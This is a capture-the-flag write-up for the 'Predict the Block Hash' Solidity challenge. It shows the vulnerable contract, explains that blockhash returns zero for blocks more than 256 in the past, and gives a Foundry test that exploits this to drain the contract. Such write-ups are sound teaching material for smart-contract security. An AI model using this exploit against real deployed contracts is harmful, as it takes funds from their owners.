- Published on
Capture the Ether (RareSkills Repo) - Predict the Block Hash - Solution
- Authors
- Name
- Marco Besier, Ph.D.
- @marcobesier
Capture the Ether (RareSkills Repo) - Predict the Block Hash - Solution
Contract
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
//Challenge
contract PredictTheBlockhash {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
constructor() payable {
require(msg.value == 1 ether, "Requires 1 ether to create this contract");
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == address(0), "Requires guesser to be zero address");
require(msg.value == 1 ether, "Requires msg.value to be 1 ether");
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser, "Requires msg.sender to be guesser");
require(block.number > settlementBlockNumber, "Requires block.number to be more than settlementBlockNumber");
bytes32 answer = blockhash(settlementBlockNumber);
guesser = address(0);
if (guess == answer) {
(bool ok,) = msg.sender.call{value: 2 ether}("");
require(ok, "Transfer to msg.sender failed");
}
}
}
Solution
To exploit this contract, it's important to know that blockhash
only returns the actual block hash for the last 256 blocks due to performance reasons. For any blocks that lie further in the past, blockhash
will return 0x0000000000000000000000000000000000000000000000000000000000000000
.
Therefore, we can call lockInGuess
with hash = 0x0000000000000000000000000000000000000000000000000000000000000000
, wait until the corresponding block lies far enough in the past, and finally call settle
.
PredictTheBlockhash.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/PredictTheBlockhash.sol";
contract PredictTheBlockhashTest is Test {
PredictTheBlockhash public predictTheBlockhash;
function setUp() public {
predictTheBlockhash = (new PredictTheBlockhash){value: 1 ether}();
}
function testExploit() public {
// Set block number
uint256 blockNumber = block.number;
// Put your solution here
predictTheBlockhash.lockInGuess{value: 1 ether}(
0x0000000000000000000000000000000000000000000000000000000000000000
);
vm.roll(blockNumber + 258);
predictTheBlockhash.settle();
_checkSolved();
}
function _checkSolved() internal {
assertTrue(predictTheBlockhash.isComplete(), "Challenge Incomplete");
}
receive() external payable {}
}